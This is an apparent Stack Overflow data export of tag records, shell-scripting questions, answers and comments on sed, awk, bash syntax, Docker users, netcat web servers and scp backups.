tags question: http://stackoverflow.com/q/76792437

http://stackoverflow.com/a/76807576
answers question: http://stackoverflow.com/q/76805101
downvote count: 0
has body: Fist replace the commas you want to keep with \r, next remove the others. Finally restore the commas. sed -r 's/([^,]*),([^,]*),(.*),([^,]*),([^,]*)/\1\r\2\r\3\r\4\r\5/;s/,//g;s/\r/,/g' input.csv EDIT: As Zach commented, you might want to replace all \r with |||||. On Linux you expect only \n characters, but a csv format is often generated on Windows.
score: 1
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135408320

quotes
tag name: quotes
type: Tag
tags question: http://stackoverflow.com/q/76718520
tags question: http://stackoverflow.com/q/77348599
tags question: http://stackoverflow.com/q/79009608
tags question: http://stackoverflow.com/q/79232679

http://stackoverflow.com/comment/135307023
comment on: http://stackoverflow.com/q/76749128
has text: @chepner fish shell seems to spin up a background job even if I put the 'cd' command in between the 2 commands such as: 'sleep 10 | cd .config | sleep 5&'. This still changes the directory and sleeps in background.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135426571
comment on: http://stackoverflow.com/q/76817193
score: 0
type: QuestionComment
has text: Your JSON file still looks incomplete. It is at least missing the outer curly braces `{…}` to define an object.
type: Comment

http://stackoverflow.com/comment/135520509
has text: But you did not add the generated `Makefile`.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76855607
type: QuestionComment

http://stackoverflow.com/comment/135407329
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76803519
has text: Thanks, i didnt't use command substitution syntax as it just returns "scp".

robotics
type: Tag
tag name: robotics
tags question: http://stackoverflow.com/q/76765373

ipython
tags question: http://stackoverflow.com/q/76745733
type: Tag
tag name: ipython
tags question: http://stackoverflow.com/q/78791234

http://stackoverflow.com/comment/135481823
score: 0
has text: Could you give an example implementation? I'm unfamiliar with yq
comment on: http://stackoverflow.com/q/76850581
type: QuestionComment
type: Comment

operators
type: Tag
tag name: operators
tags question: http://stackoverflow.com/q/76744886

http://stackoverflow.com/comment/135417815
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76813452
has text: (did you maybe set `HOST` as a shell-local variable but not export it? Only variables exported to the environment are visible to subprocesses -- though note that it's good practice to keep variables you define yourself outside the all-caps namespace used for variables meaningful to the shell and other POSIX-defined tools; see relevant standard at https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap08.html).

http://stackoverflow.com/comment/135323858
type: Comment
type: AnswerComment
has text: @PetrichorWang, You should open a new question regarding your performance problem. Each StackOverflow question should be focused on a single issue.
score: 1
comment on: http://stackoverflow.com/a/76757183

http://stackoverflow.com/comment/135376957
has text: Second one is working but the first one gives me: ./test.sh: 8: Syntax error: "(" unexpected
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76790031

http://stackoverflow.com/a/76760214
downvote count: 0
has body: As @Shawn suggested sed 's/Betty29.\{25\}//' foo.txt is getting the job done. Thanks all for the help!
score: 1
upvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/135327559
has comment: http://stackoverflow.com/comment/135326294
answers question: http://stackoverflow.com/q/76751837

http://stackoverflow.com/comment/135412722
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76806828
has text: I know nothing about ksh, never used it. In posix, use `printf "%q "`.

http://stackoverflow.com/comment/135447669
score: 0
type: QuestionComment
has text: I see `expect $prompt` but no `set prompt ...`
type: Comment
comment on: http://stackoverflow.com/q/76830614

sqlite
tag name: sqlite
tags question: http://stackoverflow.com/q/76805840
type: Tag
tags question: http://stackoverflow.com/q/77353503
tags question: http://stackoverflow.com/q/77358354

http://stackoverflow.com/a/76807833
upvote count: 2
downvote count: 0
has body: This is the fix i have come up with in the end. Thanks to this answer https://stackoverflow.com/a/76803519/20177543 mentioning that it doesn't have execute permissions # Check if a file was found if [ -n "$filename" ]; then # if file is found send it over ssh to the remote server chmod +x $filename scp $filename root@178.79.xxx.xxx:/root/Backup if [ $? -eq 0 ]; then echo "$(date): Backup Successful" >> /home/zero/Backup/backup.log # remove file once it has been sent to remote server rm -f $filename else echo "$(date): Error occurred while sending backup to remote server" >> /home/zero/Backup/backup.log fi else # if file is not found display error msg echo "$(date): No encrypted file found" >> /home/zero/Backup/backup.log fi
type: Answer
score: 2
answers question: http://stackoverflow.com/q/76803412

http://stackoverflow.com/comment/135327564
score: 0
comment on: http://stackoverflow.com/q/76761336
type: QuestionComment
has text: this `mv /tmp/MyLinux/download/Kali-Theme/share/themes/Kali-Dark /tmp/MyLinux/sort/themes/Kali-Dark` and `mv /tmp/MyLinux/download/Kali-Theme/share/themes/Kali-Light /tmp/MyLinux/sort/themes/Kali-Light` is how the move cmds should look like
type: Comment

http://stackoverflow.com/comment/135472669
score: 1
has text: That seems to be something new, report it to oracle
type: QuestionComment
comment on: http://stackoverflow.com/q/76845243
type: Comment

http://stackoverflow.com/comment/135345089
type: Comment
type: AnswerComment
has text: `then` isn't honored if it's saved with CRLFs, because the `\r` in `\r\n` makes it `$'then\r'` which doesn't match `then`. That's also consistent with how the OP's error messages are malformed in their transcript.
score: 0
comment on: http://stackoverflow.com/a/76771280

stream
type: Tag
tag name: stream
tags question: http://stackoverflow.com/q/76793056

http://stackoverflow.com/comment/135349499
score: 0
has text: `sed -i "s/^${tobedeleted}=/d" test.txt` could work if it is a shell script and setting a variable `tobedeleted`. In general your problem with matching to many lines can be fixed quite easily if you just also match the following `=`.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76774173

http://stackoverflow.com/comment/135362558
comment on: http://stackoverflow.com/q/76771421
has text: On the second part, there are **no** circumstances where `echo -e "cat $1" >>test.sh` is correct code. Either you want to write `cat "$1"` to the file and so it should be `printf '%s\n' 'cat "$1"' >>test.sh` to the file, or you want to take the filename off `$1` and write _it_; but in that case you'd need to escape the filename to avoid injection attacks, so it would become something like `printf 'cat %q\n' "$1" >>test.sh` or `printf '%s\n' "cat ${1@Q}" >>test.sh` or so forth.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135343699
comment on: http://stackoverflow.com/q/76770023
score: 1
type: QuestionComment
has text: Version strings are not floats. How should 1.2.3 compare to 3.5.1. Gets even worse with additions like beta or rc4 or versions like "5.18.16-1~bpo11+1". https://stackoverflow.com/a/4024263/8165349 has some answers to compare versions in Bash. I would build something around `sort -V`.
type: Comment

apache-spark
type: Tag
tags question: http://stackoverflow.com/q/76735566
tag name: apache-spark
tags question: http://stackoverflow.com/q/78553422
tags question: http://stackoverflow.com/q/78481980

http://stackoverflow.com/comment/135320134
score: 0
has text: @DavidMaze : the example above is simplified, the problem is not with `/mamgaforge` but with another external dir I mount as a volume from the host machine, lets say: `/mounted`. without `gosu` I run into troubles like in the URL I mentioned in the comment above. Therefore I need to create the user with a proper ID (matching the host UID) at the level of entrypoint; at the time of image build I cannot know what UID to assign yet.
type: QuestionComment
comment on: http://stackoverflow.com/q/76752760
type: Comment

http://stackoverflow.com/a/76740173
has body: You can try to include the space at your grep pattern # grep &quot;/var\ &quot; /etc/fstab /dev/mapper/rootvg-varlv /var ext4 defaults 0 0
upvote count: 1
type: Answer
downvote count: 0
answers question: http://stackoverflow.com/q/76739914
score: 1

http://stackoverflow.com/comment/135465647
has text: I mostly used ksh and bash years ago, and it's a big time for me today after starting to use zsh. The command you mentioned is so helpful. Thanks a lot.
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/76840667

batch-file
tag name: batch-file
type: Tag
tags question: http://stackoverflow.com/q/76768345
tags question: http://stackoverflow.com/q/77118875
tags question: http://stackoverflow.com/q/77264515
tags question: http://stackoverflow.com/q/77948461

http://stackoverflow.com/comment/135490035
has text: BTW, you can also tell awk to round your numbers for you by using `printf` in it with a format string that specifies the number of digits you want. There's no reason for `storagepercentusedrounded` to be more than one awk command, for that matter; don't need to run awk twice to get two different numbers and divide them when you can have one copy of awk collect both numbers and do the math itself.
type: QuestionComment
comment on: http://stackoverflow.com/q/76854869
type: Comment
score: 0

oracle-database
type: Tag
tags question: http://stackoverflow.com/q/76845243
tag name: oracle-database
tags question: http://stackoverflow.com/q/77192256
tags question: http://stackoverflow.com/q/77267237
tags question: http://stackoverflow.com/q/77611299
tags question: http://stackoverflow.com/q/77717636
tags question: http://stackoverflow.com/q/77981490
tags question: http://stackoverflow.com/q/78665336
tags question: http://stackoverflow.com/q/78774460
tags question: http://stackoverflow.com/q/79110813
tags question: http://stackoverflow.com/q/79239118
tags question: http://stackoverflow.com/q/79277621

http://stackoverflow.com/comment/135379706
has text: @F.Hauri-GiveUpGitHub Problem is, the accepted answer to the linked question recommends `echo -n` (not `printf`), for the purpose of eliminating the newline, which is not the question here at all.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76785187
score: 0

dockerfile
tag name: dockerfile
type: Tag
tags question: http://stackoverflow.com/q/76856869
tags question: http://stackoverflow.com/q/76959096
tags question: http://stackoverflow.com/q/77121187
tags question: http://stackoverflow.com/q/77188462
tags question: http://stackoverflow.com/q/77088400
tags question: http://stackoverflow.com/q/77377014
tags question: http://stackoverflow.com/q/77979882
tags question: http://stackoverflow.com/q/78000520
tags question: http://stackoverflow.com/q/78211856
tags question: http://stackoverflow.com/q/78251326
tags question: http://stackoverflow.com/q/78603366
tags question: http://stackoverflow.com/q/78780492
tags question: http://stackoverflow.com/q/79135104
tags question: http://stackoverflow.com/q/79230233
tags question: http://stackoverflow.com/q/79286144

http://stackoverflow.com/comment/135377935
comment on: http://stackoverflow.com/q/76790718
has text: HTTP doesn't provide any standard way to list a directory. Your webserver might be configured to automatically generate a listing file when you request a directory, but the format of this list is not standardized.
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/135410148
score: 0
type: Comment
type: AnswerComment
has text: CMake isn't exactly new :) and it generates makefiles, so it doesn't make a difference.
comment on: http://stackoverflow.com/a/76806828

http://stackoverflow.com/comment/135320018
score: 0
has text: In what you've shown, the ownership of `/mambaforge` doesn't seem to be an issue, and the only thing that seems to specifically depend on the current user ID is trying to write to its home directory (and IME "home directory" and "shell dotfiles" aren't normal Docker concepts). You can declare a default `USER` and override it with a `docker run -u` option at runtime or similar.
type: QuestionComment
comment on: http://stackoverflow.com/q/76752760
type: Comment

child-process
tag name: child-process
tags question: http://stackoverflow.com/q/76793211
type: Tag
tags question: http://stackoverflow.com/q/77021831
tags question: http://stackoverflow.com/q/77201768
tags question: http://stackoverflow.com/q/77275139
tags question: http://stackoverflow.com/q/77803827
tags question: http://stackoverflow.com/q/78307720

http://stackoverflow.com/comment/135517204
score: 0
comment on: http://stackoverflow.com/q/76855607
type: QuestionComment
has text: @user1934428 - I have added the output when `perl Makefile.PL` is run from the command prompt directly.
type: Comment

http://stackoverflow.com/comment/135386536
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76791269
has text: @WalterA you are not OP, if OP asks for such requirements then I will update my answer. This is not a coding contest, SO answers should focus on what challenge OP is facing and not cater to edge cases suggested by on-lookers.

http://stackoverflow.com/q/76851438
type: Question
has body: am trying to remove a variable with the quotes from nginx.conf file e.g: trying to remove '$request_body' from nginx.conf file with the single quotes Thanks in advance :) till now tried escaping the single quotes using sed s/'\$request_body\'// nginx.conf and sed s/\'$request_body\'// nginx.conf not working. I cannot use double quotes with sed as it will try expand the $request_body variable. output should remove '$request_body' completely with the single quotes.
tagged with: shell
type: UnansweredQuestion
answer count: 1
tagged with: nginx
has title: Removing single quotes with the variable using sed (e.g '$request_body' should be removed with the single quotes
score: 0
tagged with: sed
has answer: http://stackoverflow.com/a/76852130

openai-api
tags question: http://stackoverflow.com/q/76757276
type: Tag
tag name: openai-api

vi
type: Tag
tag name: vi
tags question: http://stackoverflow.com/q/76751837

http://stackoverflow.com/comment/135412034
comment on: http://stackoverflow.com/q/76810435
has text: If this were supposed to be a multi-value CSV file, it's syntactically wrong. If a cell contains linefeeds, the whole content must be enclosed in single quotes. As a CSV file, we have only one column in your example, and every physical line contains one field. You have now two choices: Either fix the program which produces the CSV, so that you get syntactically correct CSV, or post a definitio of the syntax used in your specific text file (but I suggest than to not call it "csv", as this could be confusing).
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/135439628
has text: is limit exported?
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76825948
type: Comment

swagger
tags question: http://stackoverflow.com/q/76850581
type: Tag
tag name: swagger

http://stackoverflow.com/comment/135476236
has text: @GordonDavisson the source thing will not work from the shell. I mean, it would, but I can't rely on the user to run the source command before running the program
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76843593

http://stackoverflow.com/comment/135345291
has text: @PiotrŻak, so, when you run a script saved in Windows format on UNIX, (1) the CR is treated as part of the lines you're trying to run because it's not part of the newline sequence there, and (2) it messes up the commands; sometimes it's treated as an extra part of a filename (so you get a "file not found"), sometimes it changes a word that would otherwise be syntax so it's no longer syntax, etc.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76771280

http://stackoverflow.com/comment/135306935
score: 1
has text: what exactly does it mean in your mind to to pipe `echo`'s stdout into `cd`?
type: QuestionComment
comment on: http://stackoverflow.com/q/76749128
type: Comment

http://stackoverflow.com/a/76828208
score: 0
has body: All of this if [ -d $name ] then cd $name if [ -d Scores ] then cd Scores # <<< missing cd ../.., but why are you changing directories? else mkdir Scores cd Scores cd ../../ fi else mkdir $name cd $name mkdir Scores cd Scores cd ../../ fi can be replaced by one command mkdir -p "$name/Scores"
type: Answer
answers question: http://stackoverflow.com/q/76825083

administration
tags question: http://stackoverflow.com/q/76735566
tag name: administration
type: Tag

codefresh
tags question: http://stackoverflow.com/q/76848082
tag name: codefresh
type: Tag

http://stackoverflow.com/comment/135395093
score: 0
has text: i believe "pointing to /bin/bash" means `which bash` would output `/bin/bash`. not a native english speaker myself and also not quite sure how to describe this correctly. others can help update more. :)
type: QuestionComment
comment on: http://stackoverflow.com/q/76765144
type: Comment

excel
tag name: excel
type: Tag
tags question: http://stackoverflow.com/q/76817170
tags question: http://stackoverflow.com/q/76962672
tags question: http://stackoverflow.com/q/77311237
tags question: http://stackoverflow.com/q/77357315
tags question: http://stackoverflow.com/q/77496302
tags question: http://stackoverflow.com/q/77869565
tags question: http://stackoverflow.com/q/78221524
tags question: http://stackoverflow.com/q/78220349
tags question: http://stackoverflow.com/q/78229177
tags question: http://stackoverflow.com/q/78857165
tags question: http://stackoverflow.com/q/78756055
tags question: http://stackoverflow.com/q/79129852
tags question: http://stackoverflow.com/q/79249697
tags question: http://stackoverflow.com/q/79449872
tags question: http://stackoverflow.com/q/79439010
tags question: http://stackoverflow.com/q/79448810
tags question: http://stackoverflow.com/q/79498594

http://stackoverflow.com/comment/135341307
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76764965
has text: You can, but it's a bit pointless, since bash has already a builtin-way to match a string against a regex. `grep` would be handy only if you, for instance, really need the `-P` option of _grep_, which is more powerful than the extended regex implemented in bash.

neo4j
type: Tag
tag name: neo4j
tags question: http://stackoverflow.com/q/76810878

http://stackoverflow.com/comment/135382567
comment on: http://stackoverflow.com/q/76792437
type: QuestionComment
has text: Only look at first error. Others are due to first error returning no data. Is the port number the same as the IP? "172.28.$i.0/$i" The number after the forward slash is the port number.
type: Comment
score: 0

http://stackoverflow.com/a/76837023
type: Answer
score: 0
has body: Little shorter: awk '$5==0{print $5}' /home/vsrchops/Usrlogin_1.csv (Matches values that are 0, e. g. 0 or 00)
answers question: http://stackoverflow.com/q/76818101

command-line-arguments
tag name: command-line-arguments
type: Tag
tags question: http://stackoverflow.com/q/76859636
tags question: http://stackoverflow.com/q/78181978
tags question: http://stackoverflow.com/q/78482634
tags question: http://stackoverflow.com/q/78557465
tags question: http://stackoverflow.com/q/78447803
tags question: http://stackoverflow.com/q/78770915

http://stackoverflow.com/comment/135318816
type: QuestionComment
type: Comment
has text: the problem seems not in Python, but `seqtk`, check again that its a known name by typing `which seqtk` or `seqtk --version`, and you certainly don't need the source thing which you are doing.
comment on: http://stackoverflow.com/q/76756050
score: 1

http://stackoverflow.com/comment/135371785
score: 1
has text: Hi @VrajBhatt, Thanks for replying back. I'll be short and precise. I have 2 arrays (listed in question) and a separate text file having numeric values in it say 3 9. I want to search these values (3 9) in those arrays and return the array name which has those values present in it. The output file should contain 2 lines in it. 1st line (3 Array1) 2nd line (9 Array2) i.e value and the array name in which it is present.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76785108

img2pdf
tags question: http://stackoverflow.com/q/76839109
tag name: img2pdf
type: Tag

http://stackoverflow.com/comment/135483471
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76850146
has text: @Fravadona : zsh isn't compliant at all, and does not attempt to be. I did not expect it to behave the same and just stumbled over it when I mistakingly made my first experiments with zsh (my "main" workhorse) instead of bash....

http://stackoverflow.com/comment/135331249
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76762847
has text: @Hari i fixed syntax

http://stackoverflow.com/comment/135342582
comment on: http://stackoverflow.com/q/76770292
score: 1
has text: How have you _tried awk_?
type: QuestionComment
type: Comment

os.system
type: Tag
tags question: http://stackoverflow.com/q/76756050
tag name: os.system

http://stackoverflow.com/comment/135294886
comment on: http://stackoverflow.com/q/76741997
has text: @EricPostpischil Oh yeah a single fork is enough, this showed me I had duplicate logic combining them in a single fork solves all of it, how can I mark your response as answer?
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135368958
type: QuestionComment
type: Comment
score: 0
has text: Read [this answer to *How can I 'echo' out things without a newline?*](https://stackoverflow.com/a/38021361/1765658)
comment on: http://stackoverflow.com/q/76785187

return
tags question: http://stackoverflow.com/q/76772789
type: Tag
tag name: return

jenkins-groovy
tags question: http://stackoverflow.com/q/76836431
type: Tag
tag name: jenkins-groovy
tags question: http://stackoverflow.com/q/76947111
tags question: http://stackoverflow.com/q/77234225
tags question: http://stackoverflow.com/q/77629755
tags question: http://stackoverflow.com/q/77792510
tags question: http://stackoverflow.com/q/78085813
tags question: http://stackoverflow.com/q/78193824
tags question: http://stackoverflow.com/q/78480566

http://stackoverflow.com/comment/135483337
score: 2
type: Comment
comment on: http://stackoverflow.com/a/76851363
type: AnswerComment
has text: @Thomas That behavior is POSIX, when `export CDPATH=/home/ljm`

http://stackoverflow.com/comment/135348216
comment on: http://stackoverflow.com/a/76771486
score: 0
type: Comment
has text: Enclosing the `!` in single-quotes is much more reliable. Escaping it only works right in bash's interactive mode with history expansions enabled; in other modes (and most other shells) the backslash will be printed as output. Single-quotes just *work*. Also, as Charles Duffy pointed out in the comments, `echo -e` is a really bad habit.
type: AnswerComment

http://stackoverflow.com/comment/135425179
type: Comment
score: 0
comment on: http://stackoverflow.com/a/76817624
has text: Thank you, please suggest how can i use date condition as well? eg: sed -e '/---Summary notification report---/,/Workflow start time:08/01/23/{/Workflow start time:08/01/23/!d}' log.out
type: AnswerComment

http://stackoverflow.com/comment/135291879
score: 1
comment on: http://stackoverflow.com/a/76740127
type: Comment
has text: You could move the condition outside: `$2 == m { print $3 }`
type: AnswerComment

http://stackoverflow.com/comment/135329329
type: QuestionComment
has text: Another idea: Instead of checking every at certain intervalls, write a script which (similar to `tail -f`) is constantly reading from the logfile, and once it encounters the pattern, sends an email immediately. With this it is trivial to implement a certain "pause" time to avoid too many mails in succession,.
comment on: http://stackoverflow.com/q/76751024
type: Comment
score: 0

http://stackoverflow.com/comment/135481170
type: QuestionComment
has text: Well, in the background, you don't have a keyboard available for your process. If you are talking about a *hardware* keyboard connected to your computer, you need to read from the the device driver for this keyboard to intercept what someone is typing on it.
comment on: http://stackoverflow.com/q/76835022
type: Comment
score: 0

http://stackoverflow.com/comment/135411791
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76809700
has text: Thanks @DenisRasulev this works perfect. I read about the -E option in the man page but put it after the path which gave an error.

http://stackoverflow.com/comment/135433534
has text: Thank you so much!!! The solution was right there in front of me. It took someone else to see it and everything was fixed! Works perfectly. Thanks again!
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76813968

http://stackoverflow.com/comment/135345101
comment on: http://stackoverflow.com/q/76771254
score: 1
has text: BTW, please be more cautious in your tagging. If there's no Python in your question, don't tag it "python" -- doesn't matter if the shell script might start Python if you aren't showing us any part of the script that actually does so. Same for NLP, pytorch, and everything else.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135483242
type: Comment
score: 0
comment on: http://stackoverflow.com/a/76851363
type: AnswerComment
has text: What shell is this? My bash (version 5.1.16) remains in the same directory if I type `cd ""`. It does not switch to the home directory.

http://stackoverflow.com/comment/135330228
type: Comment
has text: Is this should be part of script right? "versionSpec: some_python_version ${{ if eq(parameters.jobName, 'Pytest1') }"
type: AnswerComment
comment on: http://stackoverflow.com/a/76762847
score: 0

http://stackoverflow.com/q/76991403
answer count: 0
has comment: http://stackoverflow.com/comment/135736721
tagged with: shell
has comment: http://stackoverflow.com/comment/135734312
tagged with: linux
has body: I wish to add a specific command to HISTIGNORE. The command includes 2 words with one or more spaces between. Please suggest a pattern for the same. I am not sure how to add logic to include multiple spaces. Currently I am using this and it is only considering one space HISTIGNORE="word1 word2*"
has comment: http://stackoverflow.com/comment/135747380
tagged with: bash
type: Question
type: UnansweredQuestion
has title: pattern to add a specific command to HISTIGNORE . The command includes 2 words with one ore more spaces
score: 0

http://stackoverflow.com/q/76979463
type: Question
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135705750
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135707194
has body: For experimental and educational purposes, I am creating an extremely small and simple web server using only netcat. currently i have HTTP_RESPONSE="HTTP/1.1 200 OK\n\n Hello" { echo -ne "$HTTP_RESPONSE"; } | nc -l -p 8080 What works correctly. However, suppose instead of "Hello" I wanted to send the nc output? Which returns the request header "Get, Host, etc." How could I do this in the same connection, in the same command? I researched a lot but didn't get a satisfactory answer, almost all involve using nc a second time.
tagged with: sh
tagged with: netcat
has comment: http://stackoverflow.com/comment/135705142
has title: Parse netcat output before sending?
has comment: http://stackoverflow.com/comment/135704785
tagged with: busybox
has comment: http://stackoverflow.com/comment/135705519
score: 0

http://stackoverflow.com/comment/135584922
score: 1
type: Comment
comment on: http://stackoverflow.com/q/76910492
type: QuestionComment
has text: @tjordan I edited your code so that the `bash -c` script is a multi-line argument, for readability. Can you check it?

http://stackoverflow.com/comment/135543714
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76886382
has text: For Python see https://stackoverflow.com/questions/100210/what-is-the-standard-way-to-add-n-seconds-to-datetime-time-in-python
type: QuestionComment

http://stackoverflow.com/q/76943562
has comment: http://stackoverflow.com/comment/135641754
tagged with: linux
linked to: http://stackoverflow.com/q/72087314
has title: How to count the number of row in multiple files based on condition in Linux
answer count: 1
has comment: http://stackoverflow.com/comment/135641474
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/135641505
tagged with: command
has body: I'm trying to count row based on condition through multiple files then summary.Condition is value greater than 60. &gt; sample1.txt name value A001 27 A002 54 A003 39 A004 81 A005 88 &gt; sample2.txt name value B001 46 B002 92 B003 79 B004 67 B005 66 &gt; sample3.txt name value C001 12 C002 39 C003 83 C004 79 C005 27 Desired output: file Count sample1 2 sample2 4 sample3 2 I have tried : awk '$2&gt;60{c++} END{print c+0}' sample1.txt but this code will count header also, and I'm stucking at how to summary all files.
accepted answer: http://stackoverflow.com/a/76943797
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135641291
has answer: http://stackoverflow.com/a/76943797
has comment: http://stackoverflow.com/comment/135641925
has comment: http://stackoverflow.com/comment/135651678
has comment: http://stackoverflow.com/comment/135641361
has comment: http://stackoverflow.com/comment/135642179

http://stackoverflow.com/comment/135634715
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76937067
type: QuestionComment
has text: I just need for ask a password.

http://stackoverflow.com/q/76917878
has body: So I'm creating a terminal environment using XTerm.js, and I want to parse shell commands like so: echo hi &gt;&gt; cool.txt &amp;&amp; neofetch would become [ { command: 'echo', args: ['hi'], operators: [{ operator: '&gt;&gt;', to: 'cool.txt' }] }, { command: 'neofetch' } ] I would like to have all the bash operators preferably. I've so far tried using npm libraries such as shell-quote, however they do not satisfy my needs.
score: 0
type: Question
answer count: 0
tagged with: shell
tagged with: javascript
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135597247
has comment: http://stackoverflow.com/comment/135597449
has title: How would I parse a shell string in JS?
has comment: http://stackoverflow.com/comment/135597194
tagged with: xtermjs

http://stackoverflow.com/comment/135652015
has text: @user1934428 : Certainly he does not want to use this with echo command, but with some other program (certainly not `echo -n`, too). It may be a case when the other program does not issue the new line. (Most do, of course, but some do not -- everybody knows that echo is an example which sometimes does not, i.e. when having `-n` switch.)
comment on: http://stackoverflow.com/a/76939972
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135724296
comment on: http://stackoverflow.com/q/76990480
type: QuestionComment
type: Comment
score: 0
has text: They do not behave differently in `bash`. `bash`has nothing to do with it. You aren't executing `bash` at all here. You are attempting to execute (1) `.` and (2) `source`. Neither succeeded, for the reasons shown. Off topic.

http://stackoverflow.com/a/77037993
has body: i fixed the question: https://www.shellcheck.net/wiki/SC2283 is the correct article from shellcheck. Thanks @0stone0 for introducing me to shellcheck. Thanks to @user193448 for explaining. if $choice = 1 turned into if $choice = 1 , which compares $choice to 1. The 1st one tried to execute the contents of $choice as a filename or command. Since the contents of $choice were not in my path as a command, it didn't work. Thanks for reading ! EDIT : Thanks to @CharlesDuffy for explaining to me that i should either double bracket ($choice = 1 ) or quote my variable ([ "$choice" = 1 ])
answers question: http://stackoverflow.com/q/77036497
has comment: http://stackoverflow.com/comment/135808386
has comment: http://stackoverflow.com/comment/135828825
score: 0
has comment: http://stackoverflow.com/comment/135808400
has comment: http://stackoverflow.com/comment/135808431
type: Answer
has comment: http://stackoverflow.com/comment/135808448

http://stackoverflow.com/q/77051289
has body: I have two scripts that I both launch on my VPS with a .sh script that runs ts-node if the js script is not running: #!/bin/sh PROCESS_NAME_REGEX="process_name" TS_NODE_EXECUTABLE="./node_modules/.bin/ts-node" if ps -ef | grep -v grep | grep -qE "$PROCESS_NAME_REGEX" ; then exit 0 else $TS_NODE_EXECUTABLE /path/src/index.ts >> ./parser.log & exit 0 fi process_name and /path/ are valid, I double checked. Both script launch fine if this is just one script, but when attempted to launch one script while other is running I get error. auto$ cd /path/ && ./always_run.sh node:internal/modules/cjs/loader:1080 throw err; ^ Error: Cannot find module './index.ts' Require stack: - /path/src/imaginaryUncacheableRequireResolveScript at Module._resolveFilename (node:internal/modules/cjs/loader:1077:15) at Function.resolve (node:internal/modules/cjs/helpers:127:19) at requireResolveNonCached (/var/path/node_modules/ts-node/dist/bin.js:549:16) at getProjectSearchDir (/var/path/node_modules/ts-node/dist/bin.js:519:40) at phase3 (/var/www/auto/data/path/node_modules/ts-node/dist/bin.js:267:27) at bootstrap (/var/path/node_modules/ts-node/dist/bin.js:47:30) at main (/var/www/auto/data/path/node_modules/ts-node/dist/bin.js:33:12) at Object.<anonymous> (/var/path/node_modules/ts-node/dist/bin.js:579:5) at Module._compile (node:internal/modules/cjs/loader:1256:14) at Module._extensions..js (node:internal/modules/cjs/loader:1310:10) { code: 'MODULE_NOT_FOUND', requireStack: [ '/path/src/imaginaryUncacheableRequireResolveScript' ] } Node.js v18.17.1 I'm not really experienced in Linux and I guess this might be some env issue or something. Please tell me if I need to provide additional info.
type: Question
tagged with: shell
answer count: 0
tagged with: ubuntu
downvote count: 0
type: UnansweredQuestion
score: 1
upvote count: 1
has title: Cannot find module './index.ts' ts-node when launching two scripts simultaniously
tagged with: ts-node
tagged with: node.js
favorite count: 0
tagged with: cron

http://stackoverflow.com/a/76969187
has comment: http://stackoverflow.com/comment/135759567
answers question: http://stackoverflow.com/q/76968047
score: 3
upvote count: 3
downvote count: 0
has body: As mentioned in the rust answer you linked "Grep runs out of memory even on a machine with 768 GB of RAM!" so I suspect you're having the same problem. Using GNU awk for multi-char RS: awk -v RS='<wd:Report_Entry>' 'END{print (NR ? NR : 1) - (RT ? 0 : 1)}' file With the above we're counting the number of whatever...<wd:Report_Entry> "records" in the input. The (NR ? NR : 1) is to ensure we don't end up with -1 for an empty input file after the subsequent subtraction. The - (NR ? 1 : 0) is so we don't count the string after the last <wd:Report_Entry> in the input (input foo...<wd:Report_Entry>...bar should report 1, not 2). Since the above is reading each <wd:Report_Entry>-separated string one at a time it will handle very large files containing multiple <wd:Report_Entry>s better than grep -o '<wd:Report_Entry> which apparently tries to read the whole input into memory at once and then look for matches.
has comment: http://stackoverflow.com/comment/135759655
has comment: http://stackoverflow.com/comment/135760182
type: Answer

http://stackoverflow.com/q/77040845
tagged with: shell
has body: Situation: on macOS, with a shell script, or a terminal command, I need to extract an e-mail from a plist, generated who have a deep and large structure after multiple and I have the below: TotoEmailAddress bob@blabla.org I need the e-mail under the 2 string. There is only one TotoEmailAddress on the plist file I tried with the below command but without success: /usr/libexec/PlistBuddy -c print "TotoEmailAddress" com.bob.toto.plist I cannot share the full plist but let me know if I need to share more informations..
tagged with: terminal
score: 0
type: Question
tagged with: macos
type: UnansweredQuestion
has title: Extract file to a local plist file
tagged with: scripting
answer count: 0
has comment: http://stackoverflow.com/comment/135825380
tagged with: plist
has comment: http://stackoverflow.com/comment/135815361

http://stackoverflow.com/q/77009623
has comment: http://stackoverflow.com/comment/135760076
